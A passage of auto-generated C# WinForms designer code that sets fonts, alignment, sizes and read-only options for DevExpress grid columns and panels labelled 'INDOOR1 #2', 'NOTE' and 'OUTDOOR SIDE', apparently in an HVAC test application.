this.ID12NameColumn.OptionsColumn.FixedWidth = true;
this.ID12NameColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.ID12NameColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.ID12NameColumn.OptionsColumn.ReadOnly = true;
this.ID12NameColumn.OptionsColumn.TabStop = false;
this.ID12NameColumn.OptionsFilter.AllowAutoFilter = false;
this.ID12NameColumn.OptionsFilter.AllowFilter = false;
this.ID12NameColumn.Visible = true;
this.ID12NameColumn.VisibleIndex = 0;
this.ID12NameColumn.Width = 157;
//
// ID12ValueColumn
//
this.ID12ValueColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ID12ValueColumn.AppearanceCell.Options.UseFont = true;
this.ID12ValueColumn.AppearanceCell.Options.UseTextOptions = true;
this.ID12ValueColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Center;
this.ID12ValueColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ID12ValueColumn.AppearanceHeader.Options.UseFont = true;
this.ID12ValueColumn.AppearanceHeader.Options.UseTextOptions = true;
this.ID12ValueColumn.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Near;
this.ID12ValueColumn.Caption = "Value";
this.ID12ValueColumn.FieldName = "Value";
this.ID12ValueColumn.Name = "ID12ValueColumn";
this.ID12ValueColumn.OptionsColumn.AllowEdit = false;
this.ID12ValueColumn.OptionsColumn.AllowFocus = false;
this.ID12ValueColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.ID12ValueColumn.OptionsColumn.AllowIncrementalSearch = false;
this.ID12ValueColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.ID12ValueColumn.OptionsColumn.AllowMove = false;
this.ID12ValueColumn.OptionsColumn.AllowShowHide = false;
this.ID12ValueColumn.OptionsColumn.AllowSize = false;
this.ID12ValueColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.ID12ValueColumn.OptionsColumn.FixedWidth = true;
this.ID12ValueColumn.OptionsColumn.ReadOnly = true;
this.ID12ValueColumn.Visible = true;
this.ID12ValueColumn.VisibleIndex = 1;
this.ID12ValueColumn.Width = 98;
//
// ID12UnitColumn
//
this.ID12UnitColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ID12UnitColumn.AppearanceCell.Options.UseFont = true;
this.ID12UnitColumn.AppearanceCell.Options.UseTextOptions = true;
this.ID12UnitColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Near;
this.ID12UnitColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ID12UnitColumn.AppearanceHeader.Options.UseFont = true;
this.ID12UnitColumn.AppearanceHeader.Options.UseTextOptions = true;
this.ID12UnitColumn.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Near;
this.ID12UnitColumn.Caption = "Unit";
this.ID12UnitColumn.FieldName = "Unit";
this.ID12UnitColumn.Name = "ID12UnitColumn";
this.ID12UnitColumn.OptionsColumn.AllowEdit = false;
this.ID12UnitColumn.OptionsColumn.AllowFocus = false;
this.ID12UnitColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.ID12UnitColumn.OptionsColumn.AllowIncrementalSearch = false;
this.ID12UnitColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.ID12UnitColumn.OptionsColumn.AllowMove = false;
this.ID12UnitColumn.OptionsColumn.AllowShowHide = false;
this.ID12UnitColumn.OptionsColumn.AllowSize = false;
this.ID12UnitColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.ID12UnitColumn.OptionsColumn.FixedWidth = true;
this.ID12UnitColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.ID12UnitColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.ID12UnitColumn.OptionsColumn.ReadOnly = true;
this.ID12UnitColumn.OptionsFilter.AllowAutoFilter = false;
this.ID12UnitColumn.OptionsFilter.AllowFilter = false;
this.ID12UnitColumn.Visible = true;
this.ID12UnitColumn.VisibleIndex = 2;
this.ID12UnitColumn.Width = 44;
//
// ulPanel68
//
this.ulPanel68.BackColor = System.Drawing.Color.DeepSkyBlue;
this.ulPanel68.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.ulPanel68.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.ulPanel68.Font = new System.Drawing.Font("Arial Rounded MT Bold", 10F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ulPanel68.ForeColor = System.Drawing.Color.White;
this.ulPanel68.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel68.InnerColor2 = System.Drawing.Color.White;
this.ulPanel68.Location = new System.Drawing.Point(6, 6);
this.ulPanel68.Name = "ulPanel68";
this.ulPanel68.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel68.OuterColor2 = System.Drawing.Color.White;
this.ulPanel68.Size = new System.Drawing.Size(302, 28);
this.ulPanel68.Spacing = 0;
this.ulPanel68.TabIndex = 5;
this.ulPanel68.Text = "INDOOR1 #2";
this.ulPanel68.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.ulPanel68.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// ulPanel39
//
this.ulPanel39.BackColor = System.Drawing.SystemColors.Control;
this.ulPanel39.BevelInner = Ulee.Controls.EUlBevelStyle.Raised;
this.ulPanel39.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.ulPanel39.Controls.Add(this.noteGrid);
this.ulPanel39.Controls.Add(this.ulPanel40);
this.ulPanel39.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel39.InnerColor2 = System.Drawing.Color.White;
this.ulPanel39.Location = new System.Drawing.Point(692, 263);
this.ulPanel39.Name = "ulPanel39";
this.ulPanel39.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel39.OuterColor2 = System.Drawing.Color.White;
this.ulPanel39.Size = new System.Drawing.Size(372, 352);
this.ulPanel39.Spacing = 0;
this.ulPanel39.TabIndex = 8;
this.ulPanel39.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.ulPanel39.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// noteGrid
//
this.noteGrid.Cursor = System.Windows.Forms.Cursors.Default;
this.noteGrid.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.noteGrid.Location = new System.Drawing.Point(6, 40);
this.noteGrid.MainView = this.noteGridView;
this.noteGrid.Name = "noteGrid";
this.noteGrid.Size = new System.Drawing.Size(360, 306);
this.noteGrid.TabIndex = 279;
this.noteGrid.ViewCollection.AddRange(new DevExpress.XtraGrid.Views.Base.BaseView[] {
this.noteGridView});
//
// noteGridView
//
this.noteGridView.Appearance.FixedLine.Font = new System.Drawing.Font("Arial", 9F);
this.noteGridView.Appearance.FixedLine.Options.UseFont = true;
this.noteGridView.Appearance.FocusedRow.Font = new System.Drawing.Font("Arial", 9F);
this.noteGridView.Appearance.FocusedRow.Options.UseFont = true;
this.noteGridView.Appearance.HeaderPanel.Font = new System.Drawing.Font("Arial", 9F);
this.noteGridView.Appearance.HeaderPanel.Options.UseFont = true;
this.noteGridView.Appearance.HideSelectionRow.Font = new System.Drawing.Font("Arial", 9F);
this.noteGridView.Appearance.HideSelectionRow.Options.UseFont = true;
this.noteGridView.Appearance.OddRow.Font = new System.Drawing.Font("Arial", 9F);
this.noteGridView.Appearance.OddRow.Options.UseFont = true;
this.noteGridView.Appearance.Preview.Font = new System.Drawing.Font("Arial", 9F);
this.noteGridView.Appearance.Preview.Options.UseFont = true;
this.noteGridView.Appearance.Row.Font = new System.Drawing.Font("Arial", 9F);
this.noteGridView.Appearance.Row.Options.UseFont = true;
this.noteGridView.Appearance.SelectedRow.Font = new System.Drawing.Font("Arial", 9F);
this.noteGridView.Appearance.SelectedRow.Options.UseFont = true;
this.noteGridView.Appearance.ViewCaption.Font = new System.Drawing.Font("Arial", 9F);
this.noteGridView.Appearance.ViewCaption.Options.UseFont = true;
this.noteGridView.Columns.AddRange(new DevExpress.XtraGrid.Columns.GridColumn[] {
this.noteNameColumn,
this.noteValueColumn});
this.noteGridView.CustomizationFormBounds = new System.Drawing.Rectangle(2884, 580, 210, 186);
this.noteGridView.GridControl = this.noteGrid;
this.noteGridView.Name = "noteGridView";
this.noteGridView.OptionsBehavior.Editable = false;
this.noteGridView.OptionsBehavior.ReadOnly = true;
this.noteGridView.OptionsClipboard.AllowCopy = DevExpress.Utils.DefaultBoolean.True;
this.noteGridView.OptionsClipboard.AllowExcelFormat = DevExpress.Utils.DefaultBoolean.True;
this.noteGridView.OptionsSelection.MultiSelect = true;
this.noteGridView.OptionsSelection.MultiSelectMode = DevExpress.XtraGrid.Views.Grid.GridMultiSelectMode.CellSelect;
this.noteGridView.OptionsView.ColumnAutoWidth = false;
this.noteGridView.OptionsView.ShowColumnHeaders = false;
this.noteGridView.OptionsView.ShowGroupPanel = false;
this.noteGridView.OptionsView.ShowIndicator = false;
this.noteGridView.Tag = 0;
//
// noteNameColumn
//
this.noteNameColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.noteNameColumn.AppearanceCell.Options.UseFont = true;
this.noteNameColumn.AppearanceCell.Options.UseTextOptions = true;
this.noteNameColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Near;
this.noteNameColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.noteNameColumn.AppearanceHeader.Options.UseFont = true;
this.noteNameColumn.AppearanceHeader.Options.UseTextOptions = true;
this.noteNameColumn.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Near;
this.noteNameColumn.Caption = "Name";
this.noteNameColumn.FieldName = "Name";
this.noteNameColumn.Name = "noteNameColumn";
this.noteNameColumn.OptionsColumn.AllowEdit = false;
this.noteNameColumn.OptionsColumn.AllowFocus = false;
this.noteNameColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.noteNameColumn.OptionsColumn.AllowIncrementalSearch = false;
this.noteNameColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.noteNameColumn.OptionsColumn.AllowMove = false;
this.noteNameColumn.OptionsColumn.AllowShowHide = false;
this.noteNameColumn.OptionsColumn.AllowSize = false;
this.noteNameColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.noteNameColumn.OptionsColumn.FixedWidth = true;
this.noteNameColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.noteNameColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.noteNameColumn.OptionsColumn.ReadOnly = true;
this.noteNameColumn.OptionsColumn.TabStop = false;
this.noteNameColumn.OptionsFilter.AllowAutoFilter = false;
this.noteNameColumn.OptionsFilter.AllowFilter = false;
this.noteNameColumn.Visible = true;
this.noteNameColumn.VisibleIndex = 0;
this.noteNameColumn.Width = 156;
//
// noteValueColumn
//
this.noteValueColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.noteValueColumn.AppearanceCell.Options.UseFont = true;
this.noteValueColumn.AppearanceCell.Options.UseTextOptions = true;
this.noteValueColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Near;
this.noteValueColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.noteValueColumn.AppearanceHeader.Options.UseFont = true;
this.noteValueColumn.AppearanceHeader.Options.UseTextOptions = true;
this.noteValueColumn.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Near;
this.noteValueColumn.Caption = "Value";
this.noteValueColumn.FieldName = "Value";
this.noteValueColumn.Name = "noteValueColumn";
this.noteValueColumn.OptionsColumn.AllowEdit = false;
this.noteValueColumn.OptionsColumn.AllowFocus = false;
this.noteValueColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.noteValueColumn.OptionsColumn.AllowIncrementalSearch = false;
this.noteValueColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.noteValueColumn.OptionsColumn.AllowMove = false;
this.noteValueColumn.OptionsColumn.AllowShowHide = false;
this.noteValueColumn.OptionsColumn.AllowSize = false;
this.noteValueColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.noteValueColumn.OptionsColumn.FixedWidth = true;
this.noteValueColumn.OptionsColumn.ReadOnly = true;
this.noteValueColumn.Visible = true;
this.noteValueColumn.VisibleIndex = 1;
this.noteValueColumn.Width = 201;
//
// ulPanel40
//
this.ulPanel40.BackColor = System.Drawing.Color.DeepSkyBlue;
this.ulPanel40.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.ulPanel40.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.ulPanel40.Font = new System.Drawing.Font("Arial Rounded MT Bold", 10F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ulPanel40.ForeColor = System.Drawing.Color.White;
this.ulPanel40.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel40.InnerColor2 = System.Drawing.Color.White;
this.ulPanel40.Location = new System.Drawing.Point(6, 6);
this.ulPanel40.Name = "ulPanel40";
this.ulPanel40.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel40.OuterColor2 = System.Drawing.Color.White;
this.ulPanel40.Size = new System.Drawing.Size(360, 28);
this.ulPanel40.Spacing = 0;
this.ulPanel40.TabIndex = 5;
this.ulPanel40.Text = "NOTE";
this.ulPanel40.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.ulPanel40.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// ulPanel37
//
this.ulPanel37.BackColor = System.Drawing.SystemColors.Control;
this.ulPanel37.BevelInner = Ulee.Controls.EUlBevelStyle.Raised;
this.ulPanel37.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.ulPanel37.Controls.Add(this.outsideGrid);
this.ulPanel37.Controls.Add(this.ulPanel38);
this.ulPanel37.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel37.InnerColor2 = System.Drawing.Color.White;
this.ulPanel37.Location = new System.Drawing.Point(692, 0);
this.ulPanel37.Name = "ulPanel37";
this.ulPanel37.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel37.OuterColor2 = System.Drawing.Color.White;
this.ulPanel37.Size = new System.Drawing.Size(372, 257);
this.ulPanel37.Spacing = 0;
this.ulPanel37.TabIndex = 7;
this.ulPanel37.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.ulPanel37.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// outsideGrid
//
this.outsideGrid.Cursor = System.Windows.Forms.Cursors.Default;
this.outsideGrid.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.outsideGrid.Location = new System.Drawing.Point(6, 40);
this.outsideGrid.MainView = this.outsideGridView;
this.outsideGrid.Name = "outsideGrid";
this.outsideGrid.Size = new System.Drawing.Size(360, 211);
this.outsideGrid.TabIndex = 278;
this.outsideGrid.ViewCollection.AddRange(new DevExpress.XtraGrid.Views.Base.BaseView[] {
this.outsideGridView});
//
// outsideGridView
//
this.outsideGridView.Appearance.FixedLine.Font = new System.Drawing.Font("Arial", 9F);
this.outsideGridView.Appearance.FixedLine.Options.UseFont = true;
this.outsideGridView.Appearance.FocusedRow.Font = new System.Drawing.Font("Arial", 9F);
this.outsideGridView.Appearance.FocusedRow.Options.UseFont = true;
this.outsideGridView.Appearance.HeaderPanel.Font = new System.Drawing.Font("Arial", 9F);
this.outsideGridView.Appearance.HeaderPanel.Options.UseFont = true;
this.outsideGridView.Appearance.HideSelectionRow.Font = new System.Drawing.Font("Arial", 9F);
this.outsideGridView.Appearance.HideSelectionRow.Options.UseFont = true;
this.outsideGridView.Appearance.OddRow.Font = new System.Drawing.Font("Arial", 9F);
this.outsideGridView.Appearance.OddRow.Options.UseFont = true;
this.outsideGridView.Appearance.Preview.Font = new System.Drawing.Font("Arial", 9F);
this.outsideGridView.Appearance.Preview.Options.UseFont = true;
this.outsideGridView.Appearance.Row.Font = new System.Drawing.Font("Arial", 9F);
this.outsideGridView.Appearance.Row.Options.UseFont = true;
this.outsideGridView.Appearance.SelectedRow.Font = new System.Drawing.Font("Arial", 9F);
this.outsideGridView.Appearance.SelectedRow.Options.UseFont = true;
this.outsideGridView.Appearance.ViewCaption.Font = new System.Drawing.Font("Arial", 9F);
this.outsideGridView.Appearance.ViewCaption.Options.UseFont = true;
this.outsideGridView.Columns.AddRange(new DevExpress.XtraGrid.Columns.GridColumn[] {
this.osNameColumn,
this.osValueColumn,
this.osUnitColumn});
this.outsideGridView.CustomizationFormBounds = new System.Drawing.Rectangle(2884, 580, 210, 186);
this.outsideGridView.GridControl = this.outsideGrid;
this.outsideGridView.Name = "outsideGridView";
this.outsideGridView.OptionsBehavior.Editable = false;
this.outsideGridView.OptionsBehavior.ReadOnly = true;
this.outsideGridView.OptionsClipboard.AllowCopy = DevExpress.Utils.DefaultBoolean.True;
this.outsideGridView.OptionsClipboard.AllowExcelFormat = DevExpress.Utils.DefaultBoolean.True;
this.outsideGridView.OptionsSelection.MultiSelect = true;
this.outsideGridView.OptionsSelection.MultiSelectMode = DevExpress.XtraGrid.Views.Grid.GridMultiSelectMode.CellSelect;
this.outsideGridView.OptionsView.ColumnAutoWidth = false;
this.outsideGridView.OptionsView.ShowColumnHeaders = false;
this.outsideGridView.OptionsView.ShowGroupPanel = false;
this.outsideGridView.OptionsView.ShowIndicator = false;
this.outsideGridView.Tag = 0;
this.outsideGridView.CustomDrawCell += new DevExpress.XtraGrid.Views.Base.RowCellCustomDrawEventHandler(this.outsideGridView_CustomDrawCell);
//
// osNameColumn
//
this.osNameColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.osNameColumn.AppearanceCell.Options.UseFont = true;
this.osNameColumn.AppearanceCell.Options.UseTextOptions = true;
this.osNameColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Near;
this.osNameColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.osNameColumn.AppearanceHeader.Options.UseFont = true;
this.osNameColumn.AppearanceHeader.Options.UseTextOptions = true;
this.osNameColumn.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Near;
this.osNameColumn.Caption = "Name";
this.osNameColumn.FieldName = "Name";
this.osNameColumn.Name = "osNameColumn";
this.osNameColumn.OptionsColumn.AllowEdit = false;
this.osNameColumn.OptionsColumn.AllowFocus = false;
this.osNameColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.osNameColumn.OptionsColumn.AllowIncrementalSearch = false;
this.osNameColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.osNameColumn.OptionsColumn.AllowMove = false;
this.osNameColumn.OptionsColumn.AllowShowHide = false;
this.osNameColumn.OptionsColumn.AllowSize = false;
this.osNameColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.osNameColumn.OptionsColumn.FixedWidth = true;
this.osNameColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.osNameColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.osNameColumn.OptionsColumn.ReadOnly = true;
this.osNameColumn.OptionsColumn.TabStop = false;
this.osNameColumn.OptionsFilter.AllowAutoFilter = false;
this.osNameColumn.OptionsFilter.AllowFilter = false;
this.osNameColumn.Visible = true;
this.osNameColumn.VisibleIndex = 0;
this.osNameColumn.Width = 156;
//
// osValueColumn
//
this.osValueColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.osValueColumn.AppearanceCell.Options.UseFont = true;
this.osValueColumn.AppearanceCell.Options.UseTextOptions = true;
this.osValueColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Far;
this.osValueColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.osValueColumn.AppearanceHeader.Options.UseFont = true;
this.osValueColumn.AppearanceHeader.Options.UseTextOptions = true;
this.osValueColumn.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Near;
this.osValueColumn.Caption = "Value";
this.osValueColumn.FieldName = "Value";
this.osValueColumn.Name = "osValueColumn";
this.osValueColumn.OptionsColumn.AllowEdit = false;
this.osValueColumn.OptionsColumn.AllowFocus = false;
this.osValueColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.osValueColumn.OptionsColumn.AllowIncrementalSearch = false;
this.osValueColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.osValueColumn.OptionsColumn.AllowMove = false;
this.osValueColumn.OptionsColumn.AllowShowHide = false;
this.osValueColumn.OptionsColumn.AllowSize = false;
this.osValueColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.osValueColumn.OptionsColumn.FixedWidth = true;
this.osValueColumn.OptionsColumn.ReadOnly = true;
this.osValueColumn.Visible = true;
this.osValueColumn.VisibleIndex = 1;
this.osValueColumn.Width = 97;
//
// osUnitColumn
//
this.osUnitColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.osUnitColumn.AppearanceCell.Options.UseFont = true;
this.osUnitColumn.AppearanceCell.Options.UseTextOptions = true;
this.osUnitColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Near;
this.osUnitColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.osUnitColumn.AppearanceHeader.Options.UseFont = true;
this.osUnitColumn.AppearanceHeader.Options.UseTextOptions = true;
this.osUnitColumn.AppearanceHeader.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Near;
this.osUnitColumn.Caption = "Unit";
this.osUnitColumn.FieldName = "Unit";
this.osUnitColumn.Name = "osUnitColumn";
this.osUnitColumn.OptionsColumn.AllowEdit = false;
this.osUnitColumn.OptionsColumn.AllowFocus = false;
this.osUnitColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.osUnitColumn.OptionsColumn.AllowIncrementalSearch = false;
this.osUnitColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.osUnitColumn.OptionsColumn.AllowMove = false;
this.osUnitColumn.OptionsColumn.AllowShowHide = false;
this.osUnitColumn.OptionsColumn.AllowSize = false;
this.osUnitColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.osUnitColumn.OptionsColumn.FixedWidth = true;
this.osUnitColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.osUnitColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.osUnitColumn.OptionsColumn.ReadOnly = true;
this.osUnitColumn.OptionsFilter.AllowAutoFilter = false;
this.osUnitColumn.OptionsFilter.AllowFilter = false;
this.osUnitColumn.Visible = true;
this.osUnitColumn.VisibleIndex = 2;
this.osUnitColumn.Width = 86;
//
// ulPanel38
//
this.ulPanel38.BackColor = System.Drawing.Color.DeepSkyBlue;
this.ulPanel38.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.ulPanel38.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.ulPanel38.Font = new System.Drawing.Font("Arial Rounded MT Bold", 10F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ulPanel38.ForeColor = System.Drawing.Color.White;
this.ulPanel38.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel38.InnerColor2 = System.Drawing.Color.White;
this.ulPanel38.Location = new System.Drawing.Point(6, 6);
this.ulPanel38.Name = "ulPanel38";
this.ulPanel38.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel38.OuterColor2 = System.Drawing.Color.White;
this.ulPanel38.Size = new System.Drawing.Size(360, 28);
this.ulPanel38.Spacing = 0;
this.ulPanel38.TabIndex = 5;
this.ulPanel38.Text = "OUTDOOR SIDE";
this.ulPanel38.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.ulPanel38.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// ulPanel15
//
this.ulPanel15.BackColor = System.Drawing.SystemColors.Control;
this.ulPanel15.BevelInner = Ulee.Controls.EUlBevelStyle.Raised;
this.ulPanel15.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.ulPanel15.Controls.Add(this.asNozzleGrid);
this.ulPanel15.Controls.Add(this.airSideGrid);
this.ulPanel15.Controls.Add(this.ulPanel16);
this.ulPanel15.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel15.InnerColor2 = System.Drawing.Color.White;
this.ulPanel15.Location = new System.Drawing.Point(0, 0);
this.ulPanel15.Name = "ulPanel15";
this.ulPanel15.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel15.OuterColor2 = System.Drawing.Color.White;
this.ulPanel15.Size = new System.Drawing.Size(686, 859);
this.ulPanel15.Spacing = 0;
this.ulPanel15.TabIndex = 6;
this.ulPanel15.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.ulPanel15.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// asNozzleGrid
//
this.asNozzleGrid.Cursor = System.Windows.Forms.Cursors.Default;
this.asNozzleGrid.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.asNozzleGrid.Location = new System.Drawing.Point(6, 646);
this.asNozzleGrid.MainView = this.asNozzleGridView;
this.asNozzleGrid.Name = "asNozzleGrid";
this.asNozzleGrid.RepositoryItems.AddRange(new DevExpress.XtraEditors.Repository.RepositoryItem[] {
this.asNozzleCheckEdit});
this.asNozzleGrid.Size = new System.Drawing.Size(674, 207);
this.asNozzleGrid.TabIndex = 278;
this.asNozzleGrid.ViewCollection.AddRange(new DevExpress.XtraGrid.Views.Base.BaseView[] {
this.asNozzleGridView});
//
// asNozzleGridView
//
this.asNozzleGridView.Appearance.FixedLine.Font = new System.Drawing.Font("Arial", 9F);
this.asNozzleGridView.Appearance.FixedLine.Options.UseFont = true;
this.asNozzleGridView.Appearance.FocusedRow.Font = new System.Drawing.Font("Arial", 9F);
this.asNozzleGridView.Appearance.FocusedRow.Options.UseFont = true;
this.asNozzleGridView.Appearance.HeaderPanel.Font = new System.Drawing.Font("Arial", 9F);
this.asNozzleGridView.Appearance.HeaderPanel.Options.UseFont = true;
this.asNozzleGridView.Appearance.HideSelectionRow.Font = new System.Drawing.Font("Arial", 9F);
this.asNozzleGridView.Appearance.HideSelectionRow.Options.UseFont = true;
this.asNozzleGridView.Appearance.OddRow.Font = new System.Drawing.Font("Arial", 9F);
this.asNozzleGridView.Appearance.OddRow.Options.UseFont = true;
